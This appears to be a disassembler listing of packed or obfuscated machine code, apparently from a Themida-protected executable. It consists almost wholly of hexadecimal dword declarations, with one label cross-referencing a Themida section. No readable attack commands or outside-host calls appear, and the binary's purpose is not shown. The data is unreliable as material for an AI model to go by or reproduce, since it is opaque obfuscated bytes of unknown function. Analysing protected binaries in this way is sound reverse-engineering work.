		dd 6A409006h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 4F17C356h, 33B34475h, 71299BDh
		dd 29BD8306h, 60707h, 107840Fh,	12E80000h, 0E8000000h
		dd 4F9F98A0h, 9EAED16Dh, 0E361D49Bh, 40181D6Dh,	5FDF8192h
		dd 5E11AE59h, 0A85BD83h, 0F000607h, 0DC84h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 3429E2BEh, 1CB1A629h, 0C21B58Bh, 8D010607h, 6070031h
		dd 72995FFh, 0B5890607h, 6071FEDh, 840FC00Bh, 99h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0CFC35343h, 9B8D8DD3h
		dd 6A06074Bh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 0D5C5C356h, 975B86E7h,	5B8h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
		dd 6AE1FFCAh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 2AEAC355h, 0A26063B4h,	6810F04h
		dd 81000000h, 4B8FECFh,	7BBE660Ah, 0C1BD83CEh, 60700h
		dd 6A0840Fh, 13E90000h,	0D8000000h, 5269395h, 79D6BEAh
		dd 5EF98C37h, 2F0EE2D5h, 0BD8341DEh, 6070A85h, 7B840F00h
		dd 81000006h, 0C28872C6h, 798D8D73h, 0BF060703h, 8C7D9DBh
		dd 22E1B58Bh, 1C70607h,	44B27C84h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 16h, 0A7C35343h,	1811D96h, 1499CFCBh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 0E0C35040h
		dd 870FF2E4h, 0
		dd 0BE8h, 8A81CE00h, 0D4831CE4h, 0D81DBC9h, 441C75Eh, 0CE706B34h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 64C35040h
		dd 143679F7h, 1B6608E9h, 68F0F2Eh, 89000000h, 711318Dh
		dd 4418106h, 31D6D710h,	6AF28Bh, 0E851006Ah, 3,	59C35920h
		dd 4244C89h, 4244481h, 15h, 8FC35141h, 0F18B666Ch, 379858Dh
		dd 0BD8B0607h, 6073129h, 1BBE6650h, 2404894Ch, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 5EC35141h, 0F21D0FD7h
		dd 45BD2340h, 0FF06070Eh, 700C195h, 1B8C0F06h, 0E8000000h
		dd 12h,	202785BAh, 95F1B61Fh, 0FBE19AC2h, 0E560F4Ah, 0B70F361Bh
		dd 8D8D5EF0h, 6070379h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 17h, 0D2C35545h, 8BA6979Eh, 6DBD2BF0h, 0C706070Eh
		dd 1, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1804h, 0C3574700h, 0DA15E043h, 79BD8BB1h, 0BE06072Ah
		dd 5566F2CFh, 441C7h, 8B000000h, 7295DBDh, 0FC00B06h, 4284h
		dd 0D5BD8900h, 8D060732h, 74B9B8Dh, 55B58B06h, 0B806072Eh
		dd 5, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h, 15h
		dd 14C35141h, 1CF8186h,	0FF5310E2h, 71BD2BE1h, 8D06070Ch
		dd 703798Dh, 71BD3306h,	0C7060721h, 0AA727C01h,	9BF6644h
		dd 0CB0181A3h, 6A1499CFh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 81A0C356h, 0AC7FD364h
		dd 850FBA35h, 8, 0F2816660h, 61F5D1D3h,	3C0441C7h, 81CE7875h
		dd 0D7100441h, 6A31D6h,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 170424h, 50400000h, 0FB2023C3h, 6A006ABBh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 0E8BC355h, 56996B76h, 379858Dh, 6A0607h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 180424h, 55450000h, 423D4BC3h
		dd 0B58B9A64h, 6070AFDh, 6A905090h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 1AE5C356h
		dd 933DA21Bh, 0AE80Eh, 41DA0000h, 0A0D377F5h, 7E39C65Dh
		dd 0DDBD2960h, 0F060704h, 8Ah, 0FF5E6100h, 700C195h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 8DB65E68h, 703798Dh,	68A0F06h, 81000000h, 9CE878DFh
		dd 6880F08h, 89000000h,	7264595h, 1C706h, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 0B704C350h, 51A477B0h, 3EB0DF81h, 0C75E4F1Fh, 441h
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
		dd 57470000h, 0C3AB99C3h, 0C00BEEB2h, 7A840Fh, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 0D9EC8C3h, 175899C5h, 8D445563h, 74B9B8Dh, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 88FE7059h, 5664FE34h, 5B8F5C5h, 31000000h, 728C99Dh
		dd 6AE1FF06h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 6250C352h, 3798D8Dh, 6A0607h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 985A8BC3h, 41560839h, 0C7F78BD9h, 0CA95A501h, 53006A54h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 438E7049h, 0F38B66F6h, 0CFCB0181h, 85891499h, 6072C55h
		dd 690441C7h, 6ACE5F59h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 0C4FC357h, 0FA18127h
		dd 85h,	4418100h, 31D6D710h, 6870Fh, 0B58B0000h, 6070FDDh
		dd 0BE66006Ah, 858DFBB8h, 6070379h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 18h, 0BDC35545h,	60767591h, 12A58D89h
		dd 0F500607h, 880h, 8A0F5700h, 0
		dd 2404895Eh, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 19h,	0B1C35242h, 0BDF06C85h,	0A9CE81FBh, 0FF1D7BBDh
		dd 700C195h, 50006A06h,	3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1B04h, 0C3504000h, 362AFC8Fh, 65BA1DC7h, 6E9h, 3A192900h
		dd 8DE94D6Bh, 703798Dh,	50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1504h, 0C3504000h, 8D01599Bh, 6070189h, 1C7h
		dd 0EE80000h, 0C3000000h, 54AC3008h, 6DFC88B6h,	0F81CDB0h
		dd 9E827h, 0E16C0000h, 91B71BD5h, 0FD77DCFh, 88h, 0C75E5E00h
		dd 441h, 0CE90000h, 6C000000h, 144535Ah, 0A7F5F116h, 532EC9C1h
		dd 855BD8Bh, 0B5F0607h,	0A7840FC0h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
		dd 8383C351h, 8BF88B66h, 9B8D8DF2h, 6A06074Bh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 827DC356h, 8BBAE18Bh, 72C39BDh, 5B806h, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 225C4DC3h, 24DA6659h, 6860Fh, 8A0F0000h, 0
		dd 6AE1FFh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
		dd 56460000h, 0EFED6AC3h, 2C69BD8Bh, 0CA030607h, 0FFF2BEE9h
		dd 178D0FFFh, 0F000000h, 0C80h,	0E95F5700h, 5, 6A8BDD6Ch
		dd 1E40BF62h, 9D890D3Ah, 6071E21h, 0B7C78166h, 0E9C18B60h
		dd 0Eh,	45F1068Bh, 0AF2D24C3h, 4EFE3E74h, 4EB32CAh, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0EDC35747h
		dd 3A869433h, 2101B58Bh, 95BE0607h, 8D3953F6h, 718B185h
		dd 0EDB58B06h, 90060722h, 8B665250h, 51310FF0h,	0CE9h
		dd 46D35D00h, 7C801190h, 8BD577Ah, 585A5EFAh, 0B748BE50h
		dd 6A900763h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 14042444h, 47000000h, 0BE13C357h, 53E0921Fh,	0BFBEDE81h
		dd 6A609Ah, 6880Fh, 0B5010000h,	607191Dh, 0F60006Ah, 687h
		dd 29958B00h, 6606070Fh, 1B40C881h, 0EE858D61h,	6A060ADCh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 0A9A4C351h, 37EEC307h, 5C0839Dh, 0E950F38Bh
		dd 10h,	3B05B1A1h, 0B4833C90h, 83480B5Ah, 28469B20h, 6A240489h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 1CFC357h,	4EDB006Fh, 3279BB1Dh, 1D8E0Fh
		dd 11E80000h, 0E9000000h, 66794730h, 9DF7E8FAh,	43E2C83Bh
		dd 2FB799EAh, 2239B58Bh, 6A5E0607h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 0AE309A0Bh
		dd 6AF5CFh, 0E853006Ah,	3, 5BC35B20h, 4245C89h,	4244481h
		dd 15h,	9BC35343h, 60F5605Bh, 0B531D3B1h, 6070A25h, 95FF6161h
		dd 6071E3Dh, 23819D89h,	9D8D0607h, 60A93D5h, 0F0B70F51h
		dd 6E85Eh
		db 2 dup(0)
word_57A45E	dw 6851h		; DATA XREF: Themida_:0053DCC0o
		dd 0A41A8445h, 2BE1B589h, 0FF5E0607h, 50006AD3h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h
		dd 0FDAD48E5h, 1B6C30Fh, 72A3595h, 6830F06h, 1000000h
		dd 701AD9Dh, 5985FF06h,	2906072Fh, 70AB19Dh, 0A12E906h
		dd 0E80000h, 5D000000h,	0DCF8ED81h, 0BD31060Ah,	6071285h
		dd 20D5BD81h, 7D00607h,	860F0000h, 171h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 1Ch, 4AC35545h, 0A5D1D2E0h
		dd 5B8A8E19h, 2840Fh, 0F28B0000h, 0C419D8Bh, 8B660607h
		dd 0E381F3h, 6A000001h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 14042444h, 40000000h, 0E9AFC350h,	0Eh, 44C0B86Fh
		dd 0A2BEE31Ch, 2CA78A82h, 0DB0BC332h, 6C850Fh, 0BF0F0000h
		dd 0DE8166F0h, 0BD830B1Fh, 60ADAFDh, 26840F00h,	6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 636DC351h, 530A6F2Bh, 63E9h, 0FD85C700h
		dd 1060ADAh, 0E9000000h, 54h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ah, 20C35040h, 49C398F4h, 85C7391Fh
		dd 60ADAFDh, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0E9C35545h
		dd 0F51D38B4h, 0B58B7C5Bh, 60702F9h, 0C419D8Dh,	6A0607h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 3114E8C3h, 70D4185h,	2D850106h, 8106071Bh, 0FFFEFF23h
		dd 53006AFFh, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1904h
		dd 0C3534300h, 0B7F26A3Bh, 8F0F4B5Eh, 5, 0CDCE8166h, 0DB8C6617h
		dd 4C3F6F9h, 5A840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 150424h, 56460000h, 0BE2CE8C3h, 3C26CDECh
		dd 29ED95FFh, 9D890607h, 6072C89h, 5954BE50h, 4896006h
		dd 51006A24h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1504h
		dd 0C3514100h, 0B58B4735h, 6072D79h, 429E9h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 6E97B43h, 92000000h,	86AF4F71h, 8900B053h, 70A2D95h
		dd 5E906h, 0FA7C0000h, 0E6068206h, 0D6816670h, 71E433F7h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 82C35242h
		dd 0E1C8505Fh, 0FB1DB59h, 0B60FF0B7h, 52006AD8h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h
		dd 2E2EAEA1h, 0C085DDAEh, 6BA4Bh, 0E9570000h, 9, 0BF8BF90h
		dd 0F5F955B6h, 0C38B5E1Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Bh, 77C35646h, 0E6A43D4Dh, 8BA5DBADh, 711A5B5h
		dd 4E8C106h, 0F766F18Bh, 52006AE2h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1704h, 0C3524200h, 165A4139h, 839E25BEh
		dd 6AD82B6Fh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 0CB81C351h, 1D8558C7h,	0BE509C60h
		dd 426AF6BBh, 9241C89h,	7294D8Dh, 0CDB58B06h, 0FF06070Fh
		dd 720D5B5h, 27A6BE06h,	95FF49EAh, 6070D69h, 21E1E681h
		dd 0B060B7h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Ch,	0B9C35545h, 933055A7h, 0F774F613h, 40135CBEh, 8170E629h
		dd 824C5AF6h, 0F71E436h, 68Eh, 599D8900h, 3C06071Ah, 93830F61h
		dd 6A000002h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1C042444h, 42000000h, 0D1F7C352h, 3C288310h,	0F8B917Bh
		dd 68Fh, 9DBD8900h, 0F060703h, 6AD8B6h,	3E853h,	5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 0A940D5C3h
		dd 6BA5E4Bh, 8B000000h,	710F9B5h, 23C38B06h, 72155B5h
		dd 4E8C106h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ah,	46C35646h, 7DB9779h, 0B58BF715h, 6072A81h, 6AE2F766h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 14042444h
		dd 43000000h, 2B09C353h, 8D0FD8h, 58000000h, 19058501h
		dd 0CE80607h, 0DA000000h, 0C8F4509Bh, 4DA818F5h, 0BE13CEB8h
		dd 48E26261h, 0FD82B5Eh, 1B588h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 0B9F875FEh
		dd 7, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h, 15h
		dd 2FC35040h, 83F38B07h, 6A00C1h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1C0424h, 52420000h, 570C5FC3h, 849AF7EFh
		dd 0D93B88C1h, 144860Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 180424h, 55450000h, 3A2AF8C3h, 8C66391Eh
		dd 57006AD9h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1904h
		dd 0C3574700h, 9D882DDFh, 0C1F6CC56h, 0DD840F04h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 0FB93C351h, 49D10E6Ch, 0AE94Dh, 0CC6A0000h
		dd 396BD6A5h, 25243BE9h, 29ED95FFh, 8F0F0607h, 0Ch, 68A0Fh
		dd 0BD290000h, 6071B29h, 6E9h, 80041D00h, 5B468BA9h, 6AC32Bh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 6B1089C3h, 3C63B023h, 3DA8AC64h, 834h, 56860Fh, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 0EE3C0DC3h, 89BAA0FAh, 71F75B5h, 44E906h, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 0FD2BD9C3h, 660C60ADh, 0F04F117h, 5E51F2BFh,	0E960C08Bh
		dd 5, 0A182437Ah, 5CE812Ah, 617B1CFCh, 810Fh, 0C38B0000h
		dd 6AD88Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
		dd 55450000h, 4F0DD8C3h, 0C77996EBh, 85C7F7A6h,	60709D9h
		dd 5BE6E7DFh, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 1Ch,	7DC35545h, 0C94D4B96h, 4D2EDF82h, 0ADEE8166h, 0EE99Eh
		dd 0C83D0000h, 55FC1024h, 71E9BF07h, 85B6BBF4h,	2CD8589h
		dd 0C08B0607h, 20D5BD81h, 7D00607h, 850F0000h, 27h, 20D585FFh
		dd 6A0607h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 66AB96C3h, 0FFCFCC34h, 720D5B5h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1604h, 0C3524200h
		dd 0B82846Dh, 7184DB5h,	89B58B06h, 0FF06072Dh, 70D6995h
		dd 71B58B06h, 9006070Eh, 6AD88Bh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 81EFD1C3h, 2FFFF5D9h
		dd 1F05B58Bh, 0BD830607h, 6073335h, 3C840F00h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 8B2C353h,	0F78B4D09h, 279E9h, 11E900h, 8FA90000h
		dd 77520CECh, 0C32CC656h, 93325CBDh, 8CDD0B15h,	66F28BDFh
		dd 4C7F7h, 254850Fh, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 150424h, 50400000h, 60578CC3h, 82D78166h
		dd 99CB80CEh, 2BF38B61h, 869D8DFFh, 6A060AE6h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 3AB8C351h, 0C1736184h, 40D5C41Dh, 0BE665E51h, 0F9356DBh
		dd 8Ah,	8E0F5000h, 17h,	0FE8h, 0A3CA3900h, 6863837h, 492C3486h
		dd 9980A12h, 935E5E50h,	6880Fh,	9D290000h, 6072C55h, 35FF64h
		dd 8B000000h, 714FDB5h,	45B58B06h, 64060708h, 2589h, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 263377C3h, 1C48B25h,	7305595h, 0EB01CD06h, 0AE900h
		dd 67810000h, 96ECB945h, 3BD8D4C4h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 62C35646h, 8B7F1189h, 722E1B5h
		dd 68A0F06h, 8B000000h,	71DB5B5h, 58F6406h, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 9FC35242h
		dd 0F3478A22h, 6860FBDh, 89000000h, 703618Dh, 4C48306h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 8CC35343h
		dd 0AC3D8538h, 0C00BA273h, 0E0840Fh, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 170424h, 50400000h, 0EB4C7C3h
		dd 0B59D2989h, 8D060713h, 74B9BBDh, 9E906h, 0C4A10000h
		dd 45A3A059h, 0B89650EDh, 5, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 0E7C35343h,	0E2399209h, 0F53BC80Ah
		dd 0FFF78B66h, 51006AE7h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1604h, 0C3514100h, 29C1558Eh, 70E4585h, 5C8B5706h
		dd 838B1024h, 0B8h, 140B60Fh, 8389C8FEh, 0B0h, 0B88383h
		dd 5F020000h, 8BC3C033h, 52006AF3h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1D04h, 0C3524200h, 3E0423DFh, 0E75DB30Eh
		dd 830F929Eh, 6, 2BE1B589h, 0CA2B0607h,	0FFF611E9h, 50006AFFh
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 8509933Fh, 6070FA5h,	6AC18Bh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 12566BC3h, 75C5B161h
		dd 0FA8B6642h, 4EBh, 0B5890000h, 6071501h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0F8C35747h, 0FAF0B3D3h
		dd 0FD68152h, 8D468EE0h, 718B185h, 0FE906h, 65030000h
		dd 40884A9Ah, 0E7641522h, 8F4A7B3Fh, 870F9087h,	8, 2840Fh
		dd 61600000h, 0BF666050h, 0BABE8FFFh, 6164B6D7h, 8E990h
		dd 0BEFC0000h, 0AC023205h, 6A684Eh, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 14h, 0B4C35646h,	6A006Ah, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 858DC4C3h, 60AE8C5h,	7DEBF6BEh, 0B98D293Ch, 83060712h
		dd 526005C0h, 21C5B529h, 8B5E0607h, 71E6DB5h, 57906106h
		dd 11E9h, 0E39C4300h, 0D6E8533Eh, 7771AA30h, 4C873EAFh
		dd 505F7C06h, 0DE8h, 0A1225400h, 0B10F3BCAh, 0C1412E8Bh
		dd 0FB8B4623h, 810F905Fh, 6, 719B52Bh, 6A0607h,	71958960h
		dd 0F060723h, 6A61D1BFh, 3D95FF00h, 6A06071Eh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 9ADC350h, 706D58Dh, 0D59D8D06h, 3060A93h, 70B85BDh
		dd 0E9D3FF06h, 6, 3617418h, 0B58BF89Ah,	6071DF1h, 2F5985FFh
		dd 6A0607h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
		dd 56460000h, 0A97C25C3h, 8A02186Fh, 8D897F27h,	6070CB1h
		dd 807E9h, 0E800h, 815D0000h, 0AE8CFEDh, 52006A06h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h
		dd 0DC0ABEFBh, 58443C43h, 2009BD8Bh, 0BD810607h, 60720D5h
		dd 7D0h, 113860Fh, 0BE90000h, 0EB000000h, 0EF24752Fh, 0C92E63DAh
		dd 9D8B422Dh, 6071EE5h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 19h, 8CC35242h, 0E28FFF95h, 0E38190h, 0B000001h
		dd 7F850FDBh, 8B000000h, 71F01B5h, 2FBD8306h, 60AE7h, 32840Fh
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
		dd 53430000h, 626B81C3h, 87E1EE05h, 0A9B58BB9h,	0E9060700h
		dd 70h,	48B8BF66h, 0E72F85C7h, 1060Ah, 0E1BE0000h, 0E96479B8h
		dd 58h,	0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h
		dd 0A6C35040h, 0B2FBA950h, 1905B589h, 85C70607h, 60AE72Fh
		dd 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 70C35141h
		dd 0A6CB3AF9h, 0B58BF5B3h, 6071DB1h, 1EE59D8Dh,	0BDBF0607h
		dd 81027BEBh, 0FFFEFF23h, 0B0EE81FFh, 291E751Eh, 700D5BDh
		dd 0DB8C6606h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 15h,	0DCC35040h, 4C3F67Ah, 58840Fh, 6A0000h,	3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 0D423AFC3h, 29ED95FFh, 6A0607h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1B0424h, 50400000h, 2C7F53C3h, 0EC1B4CEAh
		dd 0E78166F8h, 50905172h, 90FB8B66h, 477CD681h,	3CE9249Ah
		dd 6A000004h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 14042444h, 47000000h, 8B71C357h, 72A8DB5h, 0E600B006h
		dd 9E970h, 9E530000h, 1FA8FA26h, 0E4E1194Eh, 9B58B71h
		dd 0F060719h, 6AD8B6h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 170424h, 56460000h, 76B120C3h, 0E6816644h, 0B58B1782h
		dd 60710D1h, 6BAh, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 0D915A9D2h, 65BD0BA1h
		dd 8B060721h, 79B503C3h, 5106072Ah, 0D1BD8960h,	6606071Fh
		dd 5C3FEA81h, 0E8C15E61h, 56006A04h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1A04h,	0C3564600h, 0B6F7DBE7h
		dd 89C3AB99h, 71E299Dh,	0E2F76606h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 0DCC35646h,	2B455CFEh, 53006AD8h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1D04h, 0C3534300h
		dd 796929C1h, 136D7120h, 0B50196E8h, 60728F5h, 10E8h, 5C3F7200h
		dd 0F6BDCDB4h, 88DF4CEEh, 969294DFh, 818D8912h,	5E060720h
		dd 0CE950h, 0E3EE0000h,	0A24A5490h, 0E3AACAD6h,	1C89366Ch
		dd 5870F24h, 0BE000000h, 5E1816ADh, 20D5B5FFh, 6A0607h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 0E89BE0C3h, 0Dh, 9D307FC7h, 5924EF4Eh, 6DCDFC0h, 0DE81668Ch
		dd 0FF5F0E70h, 70D6995h, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1704h, 0C3504000h, 0B3818972h, 925924BEh
		dd 100B067h, 711FDB5h, 2970E606h, 700199Dh, 3C71E406h
		dd 5C830F61h, 6A000002h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 0A533C350h,	2DEE9953h
		dd 0F9AD121h, 12E9D8B6h, 0DA000000h, 0E53F11C9h, 7403BB0Fh
		dd 47968122h, 0D0F7A54Fh, 6BAC3h, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 0A329DC3h
		dd 7A4B55B8h, 0B70F972Ch, 6AC38BF6h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 0EE5BC352h
		dd 91FCEC5Fh, 6A04E8C1h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 25C7C353h, 6EA3F34Dh
		dd 66184C21h, 6AE2F7h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 190424h, 57470000h, 585FBAC3h, 2B6F1B2Dh, 56006AD8h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 0F08B4DFAh, 28E0Fh, 0F78B0000h, 51006A58h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 46CD5FD5h
		dd 92BF197Ah, 2B5D7CF8h, 2C880FD8h, 0B9000001h,	7, 6AF4EF81h
		dd 0C1830C53h, 55BD2B00h, 3B060732h, 10860FD9h,	8B000001h
		dd 72F89BDh, 0D98C6606h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 18h, 0F1C35040h, 5F0ED217h, 2CD1BD89h, 0B58B0607h
		dd 607151Dh, 0F04C1F6h,	0AC84h,	53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 95FF2BFAh
		dd 60729EDh, 7B6B92BEh,	6A5B25h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 462F8C3h, 6C29CA1Fh
		dd 7DBFC32Bh, 3D04F95Fh, 834h, 4F860Fh,	6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 0E68112C3h, 0D6D2CF60h, 4EE9h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 82AC9664h
		dd 0F38B6624h, 0FFDE8166h, 6AC08B42h, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 0E0EFC357h
		dd 0E9858901h, 8B060713h, 0E9D88BC3h, 5, 0E26D06EFh, 4185C736h
		dd 0D706070Ch, 6A35F235h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 0AB86C356h,	88696636h
		dd 8160C9B9h, 9B5846DAh, 9E97Fh, 8C240000h, 4EB7E234h
		dd 61C66141h, 0E953C08Bh, 0Fh, 225A35CCh, 0A6EA0EB7h, 4DE913FCh
		dd 5EF03C6Fh, 20D5BD81h, 7D00607h, 850F0000h, 3Fh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 37C35545h, 5CAC783Ch
